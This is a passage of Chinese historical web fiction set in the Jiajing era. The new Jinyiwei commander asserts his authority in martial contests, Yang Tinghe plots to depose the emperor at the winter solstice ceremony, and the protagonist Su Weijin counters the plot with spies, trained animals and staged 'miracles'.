这话一出,大堂里炸了锅。
校场较技是锦衣卫的老传统,可那都是底下人争强斗狠,哪有指挥使亲自下场跟下属比的?
这周大山是真虎啊!
赵千户捻佛珠的手停了停,眉头微皱。
他旁边一个魁梧汉子却忍不住了,大步出列,抱拳道:“卑职李莽,北镇抚司千户,请教周大人拳脚!”
这李莽人如其名,长得五大三粗,一身横肉。
他是将门之后,家传的硬功,在锦衣卫里论拳脚功夫能排前三。
平日里最看不起文官,更别说周大山这种“幸进”之徒了。
周大山上下打量他几眼,点点头:“好!去校场!”
锦衣卫的校场在衙门后院,足有三十亩地大。
地面夯得结实,东头立着箭靶,西头摆着刀枪架,中间空出一大片,是比拳脚的地方。
消息传得快,等周大山和李莽到场时,校场周围已经围了上百号人。
不光刚才在大堂的那些,连许多称病告假的也都“病愈”赶来了——这等热闹,谁肯错过?
李莽脱了外袍,露出一身黝黑的腱子肉。
他活动活动脖子,骨节咔吧作响,朝周大山一抱拳:“周大人,请!”
周大山也脱了飞鱼服,里头是件紧身短打。
他往场中一站,两脚不丁不八,随意得很:“来吧。”
李莽低吼一声,一个箭步冲上来,右拳直捣周大山面门。
这一拳势大力沉,带起风声,周围人都不由自主“嚯”了一声。
周大山却不闪不避,直到拳头离面门还有半尺,突然侧身,左手如电般探出,啪地搭在李莽手腕上,顺势一带。
李莽收势不住,整个人往前踉跄。
周大山右脚悄无声息地一勾,李莽下盘不稳,眼看就要摔倒。
“好!”有人忍不住喝彩。
李莽到底是练家子,腰一拧,硬生生稳住身形,回身就是一记扫堂腿。
周大山却像是早料到一般,轻轻一跃避开,落地时已经到了李莽侧后方。
“十招了。”周大山突然开口。
李莽一愣,还没明白什么意思,就见周大山身形一矮,肩背猛地撞进他怀里。
贴山靠!
这是军中硬功里最狠的招式之一,靠的是瞬间的爆发力和全身的重量。
李莽只觉得像是被一头疯牛撞上,胸口一闷,整个人离地飞起,在空中划出个弧线,“砰”地摔在三丈外的地上。
尘土飞扬。
校场上一片死寂。
李莽趴在地上,挣扎着想爬起来,可试了两次都没成功,最后喷出一口血沫子,不动了。
周大山拍了拍身上的土,看向众人:“下一个,比什么?”
众人面面相觑。
一个瘦高个儿百户走出来,抱拳道:“卑职孙胜,请教周大人刀法。”
两人各取一柄木刀——虽是木制,可分量与真刀无异。
孙胜是锦衣卫里有名的快刀,家传的三十六路追风刀,讲究一个快、准、狠。
可交手不到二十招,他的木刀就被周大山一记简单的劈砍震飞了。
接着比弓箭。
一个神射手百户站了出来,百步外连射三箭,箭箭中靶,其中一箭正中红心。
他得意地看向周大山。
周大山接过弓,试了试弦,又从箭壶里抽出三支箭。
他没急着射,而是闭眼片刻,似乎在调整呼吸。
然后睁眼,搭箭,拉弓——
“嗖!”
第一箭,正中红心。
“嗖!”
第二箭,劈开了第一箭的箭尾,钉在同一位置。
“嗖!”
第三箭,又劈开第二箭的箭尾。
三箭一孔!
校场上爆发出震天的喝彩声。
那神射手百户脸都白了,拱手退下,心服口服。
最后是火器。
锦衣卫装备的是最新式的火绳枪,这玩意儿准头差,装填慢,平日里多是摆样子。
一个专管火器的百户站出来,百步外打了一枪,子弹擦着靶子边儿飞过去了。
周大山接过枪,却不急着打。
他从怀里掏出个小木片,卡在枪管上方,又调整了照门的位置——这是苏惟瑾在广西时教他的“三点一线”瞄准法。
装药、填弹、压实,动作娴熟得像个老兵。
然后举枪,瞄准。
“砰!”
白烟升起。
百步外的靶子红心处,多了个窟窿。
“砰!”
第二枪,又一个窟窿,紧挨着第一个。
“砰!”
第三枪,三个窟窿几乎重叠。
周大山放下枪,看向众人:“还有谁不服?”
没人说话。
校场上静得能听见风吹旗子的声音。
赵千户第一个单膝跪地:“卑职等,愿听指挥使调遣!”
“哗啦”一片,所有人都跪下了。
周大山咧嘴一笑:“都起来吧。”
从今儿起,咱们就是一条船上的兄弟。
有功,咱不吝赏;有过,咱也不徇私。
但有一样——
他脸色一肃:“吃里扒外、勾结外人的,别怪咱手黑!”
众人心头一凛。
接下来的半个月,锦衣卫衙门跟过了遍筛子似的。
周大山按照苏惟瑾给的名单,一个个查。
名单上的人,有的是杨廷和安插的眼线,有的是郭勋、张璁等人的亲信,还有几个是宫里某位娘娘的远房亲戚。
查办的理由五花八门:贪腐、渎职、纵容家奴欺压百姓……
锦衣卫想找人的茬儿,那还不容易?
就算没大错,调任闲职总行吧?
那个赵千户,被查出在城外强占民田三百亩,直接革职查办。
李莽伤好后,倒成了周大山的忠实跟班——军中汉子,就服有真本事的。
同时,周大山提拔了一批人。
大多是出身寒微、有真才实干的。
其中有个叫宋卫佳的百户,是苏惟瑾特意交代的——当年在济宁,此人押运粮草有条不紊,是个可用之才。
宋卫佳接到调令时,愣了半天。
他祖上虽是军户,可到他这代已经没落了,在锦衣卫里混了十几年还是个总旗。
没想到周指挥使一来,直接把他提到了百户,还让他管着南城一带的侦缉。
他去找周大山谢恩,周大山拍拍他肩膀:“好好干,苏大人说了,你是个人才。”
宋卫佳眼眶一热,重重抱拳:“卑职定不负指挥使、不负苏大人!”
整顿后的锦衣卫,风气为之一变。
那些混日子的勋贵子弟被边缘化,真正能干事的得了提拔,上下都知道新来的指挥使是个狠角色,但赏罚分明,跟着他干,有奔头。
而苏惟瑾通过周大山,就像在京城上空张开了一张无形的大网。
杨廷和旧部在“醉仙楼”密会,说了什么话,见了什么人,半个时辰后苏惟瑾就能知道。
郭勋的武定侯府,每日进出哪些人,送了哪些礼,也都有记录。
甚至连宫里,魏彬和邵元节什么时候见面,说了什么,周大山都能通过安插在浣衣局和钦安殿的眼线探听到。
苏惟瑾坐在翰林院值房里,看着周大山每日送来的密报,嘴角勾起一丝笑意。
网已撒开,鱼已入彀。
就等冬至了。
周大山雷霆手段掌控锦衣卫,苏惟瑾的情报网络覆盖全城。
然而杨廷和、郭勋等人经营多年,真会对此毫无察觉?
冬至大典在即,各方势力都在做最后准备,苏惟瑾虽掌控情报优势,但对手在暗处的底牌尚未完全亮出。
更关键的是——嘉靖帝如今对“飞升杆”依赖日深,邵元节在“通仙香”中掺入的罂粟膏分量越来越重,皇帝的身体还能撑多久?
这场决战前夕的平静,究竟隐藏着多少杀机?
第356章 魏公传假讯,杨相动杀机
京西二十里,有座庄子叫杨家庄。
庄子不大,拢共五六十户人家,多是佃农,种着周围几百亩水田。
庄主姓杨,据说在京城做过大官,如今告老还乡,平日里深居简出,庄户们难得见上一面。
庄子最深处有座三进宅院,青砖灰瓦,看着朴素,可懂行的细瞧就能看出门道——那墙比寻常宅院厚一倍,用的是糯米浆拌石灰砌的,刀砍不进。
院角有座三层阁楼,窗棂都是铁条封的,站在上头能望出去二三里地。
此刻,后宅书房里,烛火通明。
杨廷和坐在紫檀木太师椅上,手里捧着盏参茶,慢悠悠地吹着热气。
他今年六十八了,头发全白,可面色红润,精神头足得很。
一双眼睛微微眯着,偶尔睁开,精光一闪,像暗处蛰伏的老狐。
下首坐着个中年人,四十上下,面容清癯,留着三缕短须,正是他儿子杨慎。
这位当年名动天下的才子,如今穿着身普通的青布直裰,风尘仆仆,眼圈发黑,显是赶了远路。
“锦衣卫换帅的事,你怎么看?”杨廷和放下茶盏,声音不紧不慢。
杨慎低声道:“儿子刚得了魏公公的消息,说新上任的指挥使周大山,一介武夫,靠着在广西的军功,又走了苏惟瑾的门路才得此位。”
锦衣卫里头那些勋贵子弟、世袭军官,都不服他,这几日衙门里人心浮动。
杨廷和抚须沉吟:“周大山……此人老夫听说过。”
山东军户出身,没什么根基,全凭一身蛮力和苏惟瑾的提携。
让他坐镇锦衣卫,倒比陆炳好对付。
“父亲说的是。”杨慎点头,“陆炳毕竟是潜邸旧人,在锦衣卫经营多年,根深蒂固。”
这周大山初来乍到,想要稳住局面,少说也得半年。
咱们正好趁这个空当……
他顿了顿,声音更低:“魏公公还传来消息,说陛下近日沉迷那‘飞升杆’,已连续五日未御门听政,奏章都堆在司礼监,由几个秉笔太监代批。”
宫中传言,陛下吸食药烟后,常出现幻视幻听,有时对着空处自言自语,有时又无故发怒……龙体堪忧啊。
杨廷和眼中精光一闪:“幻视幻听?看来邵元节在‘通仙香’里掺的罂粟膏,分量不轻。”
“正是。”杨慎道,“魏公公说,如今陛下离了那杆子,撑不过两个时辰就烦躁不安,涕泪横流。”
白日里大半时间都在静坐吸杆,连后宫都很少去了。
书房里静了片刻。
烛火噼啪炸了个灯花。
杨廷和缓缓站起身,走到窗前,望着外头沉沉的夜色。
远处庄子里的灯火星星点点,像散落的碎银子。
更远处,京城方向隐隐有光,那是皇宫的灯火。
“时机将至啊……”他喃喃道。
杨慎也站起身,走到父亲身侧:“张太后那边,儿子已联络过了。”
太后答应,事成之后,便以“天子失德、神灵不佑”为由,废黜今上,改立益王世子为帝。
益王世子今年十六,性子懦弱,又好诗文,正是……
“正是好拿捏的。”杨廷和接过话头,嘴角勾起一丝冷笑,“张太后打的好算盘。”
她以为扶立个傀儡皇帝,就能垂帘听政,把持朝纲?
呵,她也不想想,老夫当年能把她从慈宁宫请出来,如今就能再送她回去!
他转过身,看着儿子:“慎儿,你可知为父为何要冒这天大的风险,行此废立之事?”
杨慎垂首:“儿子明白。当年‘大礼议’,父亲为维护礼法,与陛下据理力争,却遭贬斥,儿子也被流放云南。”
这些年,父亲虽致仕还乡,可心中这口气,始终未平。
“不止是气。”杨廷和摇头,眼中闪过一丝厉色,“老夫辅佐三朝,历经弘治、正德、嘉靖,亲眼看着这大明江山,从弘治中兴,到正德荒唐,再到如今……”
嘉靖痴迷修仙,朝政荒废,宦官当道,奸佞,宦官当道,奸佞横行!
若是再不拨乱反正,这大明的基业,就要败在这一代了!
他走到书案前,拿起案头一柄玉如意——那是正德皇帝当年赏赐的,触手温润。
“当年老夫一念之差,以为这旁支子弟自幼长在宫外,深知民间疾苦,必能励精图治。”
可谁知……他登基之后,先是搞什么‘大礼议’,非要追尊生父为皇帝,乱了礼法纲常。
接着又宠信邵元节这等妖道,炼丹修仙,荒废朝政。
如今更是弄出什么‘飞升杆’,吸食药烟,形同魏晋时的五石散之祸!
玉如意重重磕在书案上,发出闷响。
“此次不仅要废帝,更要彻底清洗朝堂!”杨廷和一字一顿,“那些攀附新帝的宵小,如张璁、桂萼之流,一个不留!”
还有那个苏惟瑾……
他顿了顿:“此人最近有何动静?”
杨慎想了想,道:“自回京献瑞后,他便深居简出,除了督促工部制造‘飞升杆’,便是与国师鹤岑论道讲经,看起来……是一心辅佐陛下修仙,想借此固宠。”
杨廷和稍稍安心:“此子虽有些才学,弄出什么祥瑞仙书,但终究年轻,目光短浅。”
他以为靠着这些奇技淫巧,就能在朝中站稳脚跟?
可笑。
等大局已定,第一个要收拾的,就是他。
他重新坐下,端起已经凉了的参茶,抿了一口:“传令各方:冬至斋醮大典当日,依计行事!”
邵元节那边,务必让陛下在祭天时当众失态。
宫中内应,要控制住乾清宫和司礼监。
京营那里,郭勋要确保五军营、三千营不动。
至于朝中……
他看向儿子:“你联络的那些旧部门生,都准备好了?”
杨慎重重点头:“兵部尚书廖纪、左都御史聂贤、礼部右侍郎桂萼……还有六科给事中、十三道御史,共有四十七人联名。”
只要陛下在斋醮大典上失仪,他们便立刻上疏,请太后临朝,废帝另立!
“好。”杨廷和眼中闪过决绝,“成败在此一举。你明日便回云南,不要留在京中,以防万一。”
“父亲!”杨慎急道,“儿子愿留在京中,与父亲共进退!”
“糊涂!”杨廷和斥道,“你若留在京中,一旦事败,我杨家便彻底断了后!”
回云南去,那边有土司照应,即便京城出事,也能保住血脉。
记住,若事成,为父自会召你回京。
若事败……你便在云南隐姓埋名,不可再踏入京城半步!
杨慎眼眶发红,跪倒在地,重重磕了三个头:“儿子……遵命。”
书房外,屋檐下。
几只通体漆黑、翅膀带金纹的蜂子,正趴在一扇窗棂的缝隙处。
它们一动不动,像是睡着了,可细细的触须却在微微颤动。
若是有人凑近了听,能听到极细微的“嗡嗡”声,节奏奇特,像是在传递什么讯息。
半里外的庄外树林里,胡三盘腿坐在一棵老槐树下,面前摆着个小竹笼。
笼子里也有几只同样的蜂子,正按某种规律飞舞、碰撞,发出嗡嗡的声响。
胡三闭着眼,耳朵微微动着,手指无意识地在膝盖上敲打,像是在翻译密码。
良久,他睁开眼,咧嘴一笑。
“成了。”
他收起竹笼,悄无声息地退入树林深处。
一刻钟后,一匹快马从林子另一头冲出,直奔京城方向。
亥时末,南城大杂院。
苏惟瑾坐在屋里,面前摊开一张巨大的皇宫布局图。
图是工部存档的副本,他借着翰林院修史的名义借出来的,上头详细标注了各宫各殿的位置、通道、甚至一些密道的入口。
胡三匆匆进来,压低声音:“公子,都探清楚了。”
他把杨廷和父子在书房里的对话,一字不落地复述了一遍。
末了道:“杨慎明早就回云南,杨廷和那边,已经下令冬至大典当日动手。”
苏惟瑾静静听着,手指在地图上缓缓移动。
乾清宫、司礼监、五军营、三千营、朝天宫……
一个个地名,一个个节点,在他脑中连成线,又编织成网。
“冬至大典……果然选在那日。”他轻声自语,“祭天之时,百官齐聚,万民瞩目,确实是发难的好时机。”
超频大脑开始运转。
无数可能性在意识中展开、推演、模拟。
邵元节会在祭天前夜给嘉靖服用加料金丹,确保次日精神恍惚——这点已通过魏彬反向控制,到时候送去的会是“清心丹”。
宫中内应要控制乾清宫和司礼监——周大山已经掌握了宫禁护卫的轮值名单,哪些是杨廷和的人,一清二楚。
京营那边,郭勋掌控五军营、三千营——但神机营指挥使是陆炳旧部,可以争取。
而且京营调动需要兵符,嘉靖虽然昏聩,可兵符一直贴身藏着……
朝中四十七人联名——名单魏彬早就提供了,这些人里,有多少是真心拥戴杨廷和,有多少是骑墙观望,又有多少可以暗中分化……
一条条对策,一个个反制方案,在大脑中飞速成型。
苏惟瑾拿起笔,在图纸上圈出几个关键位置,又画了几条线。
“三爷,”他抬头,“明日一早,你让那些‘寻香蜂’盯紧杨家庄。”
杨慎离京时,派几个人暗中跟着,不要惊动他,看他往哪个方向走,是不是真回云南。
“明白。”
“惟奇,”他又看向站在门口的苏惟奇,“你去通知大山,让他按第三套方案准备。”
冬至前夜,锦衣卫全员待命,控制住这几处宫门、衙署。
还有,让他想办法联络神机营指挥使刘勇——此人是陆炳提拔的,可以信任。
“是。”
“至于朝中那些联名的大臣……”苏惟瑾嘴角勾起一丝冷峭的弧度,“让魏彬去办。”
他不是最擅长传递消息吗?
那就让他‘不小心’把联名名单‘泄露’出去,就说……杨廷和事成之后,要将所有非嫡系的官员全部清洗,空出位置安插自己人。
胡三眼睛一亮:“公子这招高!那些骑墙的听了,还不吓得赶紧撇清关系?”
苏惟瑾点点头,最后看向皇宫方向。
烛火将他清俊的面容映得半明半暗,眼神深邃如寒潭。
“既然他们想演一场废立大戏……”
他轻轻合上图纸。
“那咱们,就好好给他们搭个台子。”
窗外,更深露重。
距离冬至,还有十二个时辰。
杨廷和父子自认为算无遗策,却不知全盘计划已被苏惟瑾掌握。
冬至大典在即,苏惟瑾布下的反制之网已然张开,只等对手入彀。
然而百密一疏——杨慎突然提前离京,是否另有图谋?
邵元节在“通仙香”中掺入的罂粟膏分量越来越重,嘉靖帝的身体能否撑过祭天大典?
更关键的是,朝天宫祭坛之上,当嘉靖真的出现“失态”时,苏惟瑾要如何在不暴露自身的情况下力挽狂澜?
这场决定大明国运的较量,已到图穷匕见之时!
第357章 瑾算政变路,九门布暗棋
雪是从半夜开始下的。
起初只是零星几点,打在窗纸上沙沙响。
到了寅时,越下越大,鹅毛似的,不一会儿就把南城的屋顶、街道、树枝全染白了。
京城像被盖了层厚棉被,静悄悄的,连更夫敲梆子的声音都闷了许多。
大杂院西厢房里,灯亮了一整夜。
苏惟瑾站在桌前,面前摊着那张皇宫布局图。
图已经被他画满了记号——红圈、蓝线、黑三角,密密麻麻,像张蜘蛛网。
他手里拿着支细狼毫,笔尖蘸了朱砂,却久久没有落下。
超频大脑正在全速运转。
根据魏彬传来的情报,加上胡三那些蜂子“听”来的密谈,杨廷和政变的三条最可能路径,在他脑中清晰展开,每条路径又分出无数变数,像树枝分杈,层层延伸。
路径一:收买宫中禁军,直冲嘉靖寝宫,控制皇帝后逼写退位诏书。
路径二:在斋醮大典现场制造混乱,趁乱绑架或弑君。
路径三:内外呼应,城外埋伏私兵,城内勋贵家丁响应,武力夺宫。
三条路,条条都是死路——对他杨廷和来说是死路,对嘉靖和大明来说也是死路。
苏惟瑾闭了闭眼,再睁开时,眼中已是一片清明。
“大山。”他唤道。
周大山就站在门口,一身飞鱼服上落了层薄雪,显然是刚从外面回来。
闻言上前一步:“公子,俺在。”
“第一条路,关键在于禁军。”苏惟瑾用笔尖点在图纸上的乾清宫位置。
“杨廷和经营多年,宫中禁军统领里,至少有三人是他的人——神枢营的赵德胜、金吾卫的刘全、还有把守东华门的王振。”
“这三处,都是要害。”
周大山咧嘴一笑:“公子放心,俺已经查清楚了。”
“赵德胜上月刚纳了个小妾,是杨廷和远房侄女送的。”
“刘全的儿子在国子监读书,托了杨家的关系。”
“王振更不用说了,他老家三百亩地,全是杨家的佃户在种。”
“好。”苏惟瑾点头。
“你以整顿宫禁、严防冬至大典出乱子为名,把这三人调离——赵德胜调去守皇史宥,那地方清闲,出不了岔子。”
“刘全调去巡视外城城墙。”
“王振……让他去西山皇陵待半个月,祭祖修缮的事正缺人。”
他顿了顿:“空出来的位置,换上咱们的人。”
“神枢营让宋卫佳去,他谨慎。”
“金吾卫让李莽去,那汉子服了你,可用。”
“东华门……让你从广西带回来的那个亲兵去,他叫王铁柱是吧?憨厚,但手底下硬。”
周大山一一记下,想了想又问:“那奉天殿呢?”
“大典在那儿办,禁军最多。”
“奉天殿让胡三去。”苏惟瑾语出惊人。
周大山一愣:“胡三爷?”
“他……他不是锦衣卫的人啊。”
“正因为他不是,才没人防备。”苏惟瑾笑了笑。
“我让他扮作宫中做法事的道士,带着他那几只‘寻香蜂’。”
“万一有异动,蜂子比人快。”
“而且他那些小东西……”他指了指窗外。
“关键时刻能派大用场。”
窗外,雪地里,几只老鼠正排着队从一个墙洞钻出来,每只背上都绑着个小竹筒,一溜烟跑没影了。
那是胡三在训练它们传递消息。
周大山看得目瞪口呆,半晌竖起大拇指:“公子,您这手……绝了。”
“第二条路,大典现场。”苏惟瑾转向坐在一旁的鹤岑国师。
“国师,斋醮流程您最熟。”
“我需要您在仪式中,增加几个‘仙法演示’环节。”
鹤岑捻着念珠,缓缓道:“苏大人请讲。”
“比如‘请神显圣’,可以用特制的烟花,在祭坛上空炸开,形成彩色烟雾。”
“比如‘地涌金莲’,可以事先在祭坛下埋好机关,到时喷出烟火。”
“还有‘天降甘霖’——这个简单,让人在暗处洒水就行。”苏惟瑾详细解释。
“这些环节,既要看起来神奇,又要完全在咱们控制之中。”
“关键时刻,可以制造混乱,但必须是咱们能控制的混乱。”
鹤岑眼睛一亮:“老道明白了。”
“这些把戏,当年龙虎山的老天师最擅长,贫道也学过几手。”
“保证做得天衣无缝,就算邵元节那老东西也瞧不出破绽。”
“不仅如此。”苏惟瑾补充。
“这些‘仙法’演示时,您要贴身护卫陛下,寸步不离。”
“我会让周大山安排几个锦衣卫高手,混在道士队伍里,专司保护。”
鹤岑重重点头:“苏大人考虑周全。”
“第三条路,城内呼应。”苏惟瑾看向一直沉默的苏惟奇。
“惟奇,你带五十个好手,分成五队,暗中监视杨廷和别院、郭勋的武定侯府、张璁宅第、还有永寿宫张太后那里,以及……邵元节的钦安殿。”
他每说一处,就在图纸上点一下。
“一旦发现这些地方有家丁集结、异动,不要打草惊蛇,先盯着。”
“等他们动了,再以‘缉捕盗匪、维护治安’之名,当场镇压!”
“记住,要抓活的,留作人证。”
苏惟奇抱拳:“明白。”
“至于城外私兵……”苏惟瑾冷笑一声。
“杨廷和以为勾结了通州卫、大兴卫、良乡卫三处指挥使,就能调动兵马?”
“大山,你以锦衣卫指挥使之名,提前三日——也就是今日,以‘冬至大典前京城防务操演’为名,调京营兵马出城驻扎。”
他手指在地图上划出一条线:“神机营驻通州,五军营驻大兴,三千营驻良乡。”
“正好,把这三处卫所给堵在中间。”
“他们若敢动,就是谋反,京营可以名正言顺剿灭。”
周大山倒吸口凉气:“公子……您连这个都算到了?”
“那三处卫所,确实是杨廷和暗中控制的!”
“不是算到,是查到。”苏惟瑾淡淡道。
“魏彬提供的名单里,有这三处卫所指挥使给杨家送年礼的记录。”
“一次两次是常情,可连续五年,年年不落,还都是重礼——这就不是常情了。”
他放下笔,揉了揉眉心:“除此之外,我还准备了两支奇兵。”
胡三一直在旁边逗弄一只灰鸽子,闻言抬头:“公子说的是俺那些小友?”
“对。”苏惟瑾点头。
“三爷,你那动物军团,关键时刻要派大用场。”
“老鼠可以钻地道传递消息,鸽子可以空中监视,狗可以预警,甚至……你上次说的那种能让人发痒的草粉,可以让蜂子携带,关键时刻撒出去,制造混乱。”
胡三嘿嘿一笑:“放心吧公子,俺早就训好了。”
“三十只信鸽,五十只耗子,二十条狗,还有……嘿嘿,俺从南边弄来一窝马蜂,那玩意儿蜇人可疼了,保管让他们哭爹喊娘。”
众人都笑了。
“第二支奇兵,是彭友信彭爷联络的江湖好手。”苏惟瑾继续道。
“这些人不直接参与宫中的事,但负责在民间散播舆论、监视漏网之鱼。”
“一旦事成,他们要在茶馆酒肆、街头巷尾,把杨廷和谋逆的事传开,让天下人都知道,这是拨乱反正,不是政变。”
苏惟奇沉吟道:“公子,要不要也准备……万一事败的退路?”
屋里静了一瞬。
苏惟瑾走到窗前,推开窗户。
冷风夹着雪片灌进来,吹得烛火乱晃。
外头天已蒙蒙亮,雪还在下,整个京城白茫茫一片。
“不必。”他声音很轻,却斩钉截铁。
“此役,没有退路。”
“要么赢,要么死。”
他转过身,看着屋里众人:“杨廷和要的是改朝换代,张太后要的是垂帘听政,邵元节要的是权倾朝野,郭勋要的是从龙之功——他们各怀鬼胎,看似联手,实则一盘散沙。”
“而我们……”
他顿了顿:“我们要保的,是大明江山,是天下百姓。”
“这口气,不能散。”
周大山第一个跪下:“俺这条命是公子救的,公子指哪儿,俺打哪儿!”
苏惟奇、胡三也单膝跪地。
鹤岑站起身,深深一揖:“贫道方外之人,本不该涉足红尘。”
“但此事关乎国运,关乎万千黎民,愿助苏大人一臂之力。”
苏惟瑾扶起众人,目光扫过一张张面孔。
“现在,”他望向窗外,雪渐渐小了,东方露出鱼肚白。
“只等冬至了。”
距离冬至大典,还有六个时辰。
苏惟瑾算无遗策,针对政变三条路径布下天罗地网。
禁军已换防,大典有奇兵,城外有埋伏,城内有人手,看似万无一失。
然而杨廷和毕竟宦海沉浮数十年,真会如此轻易入彀?
邵元节掌控丹房,是否会在最后关头察觉金丹被调包?
更关键的是——嘉靖帝的身体已被罂粟膏严重侵蚀,明日在祭坛上究竟会有什么反应?
所有布置都基于精密计算,可人心与药性,从来最难测算。
这场决定大明命运的冬至大典,即将在漫天飞雪中拉开帷幕!
第358章 冬至斋醮日,暗流涌宫阙
冬至这天的京城,天还没亮就热闹起来了。
寻常百姓家,今儿个要祭祖、吃饺子,讲究些的还得去庙里烧香。
可最热闹的,还得是紫禁城。
奉天殿前的广场,从三天前就开始搭台子。
九丈九尺高的法坛,全是用上好的楠木搭的,外头裹着黄绸,绸上绣着八卦、云纹、仙鹤、灵芝,在晨光下金灿灿晃眼。
坛分三层,每层都有道士守着,捧着香炉、法器、经卷,肃立无声。
坛下,文武百官按品级站得密密麻麻。
文官在东,武官在西,从一品大员到七品小官,都穿着朝服,冻得脸发青,可没人敢动一下。
更外围是禁军,金盔金甲,手持长戟,五步一岗,十步一哨,把整个广场围得铁桶似的。
辰时正,钟鼓齐鸣。
嘉靖皇帝出来了。
他今天没穿龙袍,穿了身玄色道袍,上头用金线绣着北斗七星。
头上戴的是金冠,冠前垂着十二旒白玉珠,走一步晃一下。
手里捧着那根黄花梨“飞升杆”,像是捧着什么稀世珍宝。
脸色不太好。
潮红,像喝了酒,又像是发热。
眼睛有点散,看人时焦距不太准,得定一定神才能对上。
走路也有点飘,两个太监一左一右扶着,才稳稳登上法坛。
鹤岑国师跟在右侧,一身绛紫法衣,手持玉如意,仙风道骨。
邵元节在左侧,杏黄道袍,捧着个紫檀木托盘,盘里红绸垫底,上头摆着三枚金丹——鸽蛋大小,暗红色,表面有层诡异的油光。
百官跪倒,山呼万岁。
嘉靖在法坛最上层的龙椅上坐下,摆摆手:“平身。”
声音有点哑,像是没睡醒。
杨廷和就站在文官队列最前头。
他今天是以“致仕老臣、三朝元老”的身份特许观礼的,位置很靠前,抬眼就能看清法坛上的一举一动。
他垂着眼皮,手里捻着串佛珠,一副老神在在的模样。
可眼角余光,却在不远处的武官队列里扫了一眼。
郭勋站在那儿,一身侯爵蟒袍,腰挎宝剑。
这位武定侯今天格外精神,手一直按在剑柄上,指节发白。
察觉到杨廷和的目光,他微微点了点头。
更远处,张璁也来了。
这位靠“大礼议”起家的礼部侍郎,今天脸色不太好看,时不时往永寿宫方向瞟——张太后称病没来,可谁都知道,那位老太太此刻肯定在永寿宫里坐着,等着这边的消息。
宫墙外头,几条官道上,几十支“商队”正往京城方向赶。
骡车上盖着油布,底下不是货物,是刀枪。
还有些“流民”,三三两两聚在城外茶馆、驿站,眼睛却盯着城门方向——这些都是通州卫、大兴卫、良乡卫的兵,换了衣裳,化了装,就等城里信号。
城里,几处勋贵府邸的后门悄悄开了。
家丁、护院,一队队出来,袖子里藏着短刀,怀里揣着绳索,往皇城方向摸去。
法坛上,仪式开始了。
鹤岑站在坛前,手持青词,朗声念诵。
声音清越,在空旷的广场上回荡。
无非是些“祈告上苍、佑我大明、风调雨顺、国泰民安”的套话,可从他嘴里念出来,硬是多了几分仙气。
嘉靖眯着眼听,手里摩挲着“飞升杆”,有些焦躁。
邵元节察言观色,适时上前,低声道:“陛下,可是有些乏了?”
“要不……先服一枚金丹提提神?”
“等会儿‘仙丹赐福’环节,陛下要亲自将金丹赐予百官,需得精神些。”
嘉靖点点头。
邵元节从托盘里取出一枚金丹,毕恭毕敬地递过去。
嘉靖接过来,看也没看,就着太监递上的温水,一口吞了。
杨廷和嘴角勾起一丝冷笑。
吞吧,吞得越多,等会儿出丑出得越狠。
这枚金丹里,他让邵元节加了双倍的罂粟膏,还有几味致幻的草药。
服下后不过一刻钟,就会精神亢奋,接着是幻觉,最后是癫狂——正适合在祭天大典上,当着文武百官、天下百姓的面发作。
可他不知道,这金丹早被调包了。
昨夜子时,胡三让一只耗子从通风口钻进丹房,把这枚加料的金丹偷了出来,换上了一枚外观一模一样、内里却是苏惟瑾特制的“清心丹”。
这丹里确实有致幻草药,但分量极轻,只会让人稍微兴奋,绝不会失控。
仪式继续。
“仙鹤献瑞”环节到了。
这是鹤岑加的戏码——两只白鹤从坛后飞起,在空中盘旋三圈,最后落在坛前,每只鹤嘴里都衔着张黄符纸,纸上用朱砂写着“国泰民安”。
百官惊叹,纷纷称颂祥瑞。
嘉靖也高兴了,脸上露出笑容:“好!好!仙鹤通灵,此乃吉兆!”
就在这当口——
坛下突然传来喧哗声。
一个小太监连滚带爬地跑过来,扑通跪倒在地,声音都变了调:“陛、陛下!不好了!”
“永寿宫……永寿宫走水了!”
“什么?!”嘉靖一惊,手里的“飞升杆”差点掉地上。
百官哗然。
永寿宫是张太后的寝宫,那里失火,可不是小事!
杨廷和眼中精光一闪,立刻起身,撩袍跪倒,声音沉痛:“陛下!宫中失火,还是在冬至祭天大典之日,此乃不祥之兆啊!”
“臣恳请陛下暂停斋醮,移驾安全之处,并彻查火因,以安天心!”
这话说得冠冕堂皇,可意思明白——赶紧打断仪式,制造混乱!
坛上坛下,所有人的目光都集中在嘉靖身上。
嘉靖脸色变了变,看看杨廷和,又看看远处永寿宫方向——确实有黑烟冒起来。
他张了张嘴,似乎想说什么。
就在这时,鹤岑突然上前一步,手中拂尘猛地一挥,指向坛下某处,厉声喝道:“何方妖孽,敢扰法坛?!”
“轰!”
一声闷响。
法坛下层突然爆出一团白烟,烟雾中金光闪烁,像是有什么东西在发光。
那光不刺眼,柔和得很,在烟雾里流转,隐约还能看到些符文图案。
百官都惊呆了。
嘉靖也愣住了,可随即,他脸上露出狂喜:“仙光!是仙光!哈哈哈!”
“定是朕的诚心感动上苍,降下仙光显圣!”
他哪里还管什么永寿宫失火,激动得站起身,指着那团金光:“快!快看!仙光未散!”
“此乃大吉之兆啊!”
杨廷和的脸瞬间黑了。
这……这他娘的是什么戏法?!
他安排的火情,居然被鹤岑弄成“仙光显圣”了?
这老道士什么时候跟苏惟瑾穿一条裤子了?
他猛地看向郭勋。
郭勋会意,霍然起身,抱拳道:“陛下!宫中走水非同小可,臣请率禁军前往永寿宫查看,以护圣驾周全!”
这话一出,几个武将也纷纷起身:“臣等愿往!”
这是要调动兵力的信号了。
只要嘉靖点头,郭勋就能名正言顺地带兵离开法坛,然后……就不是去救火那么简单了。
坛上,嘉靖还沉浸在“仙光”的喜悦中,闻言随意摆摆手:“去吧去吧,多带些人……”
“不必了。”
一个清朗的声音响起,不大,却清清楚楚传到每个人耳朵里。
众人循声看去。
只见苏惟瑾不知何时已经登上法坛,正站在鹤岑身侧。
他今天穿的是翰林院的青色官袍,在一众道士和武将中显得格外清俊。
他向嘉靖躬身行礼,声音平稳:“陛下,臣已命锦衣卫指挥使周大山,率三百缇骑前往永寿宫处置火情。”
“锦衣卫专司侦缉、救火,经验丰富。”
“区区小火,顷刻可灭,不敢有扰陛下修仙大典。”
他顿了顿,转身看向郭勋,微微一笑:“武定侯莫非……不信锦衣卫的能力?”
“还是觉得,禁军比锦衣卫更擅长救火?”
这话问得刁钻。
郭勋脸色一僵,张了张嘴,半天没憋出一句话来。
他能说什么?
说“我就是想去”?
那不成心捣乱了吗?
杨廷和的心沉了下去。
苏惟瑾的反应太快了!
从永寿宫失火到郭勋请命,不过几句话的工夫,他居然已经安排好了人手?
而且……周大山?
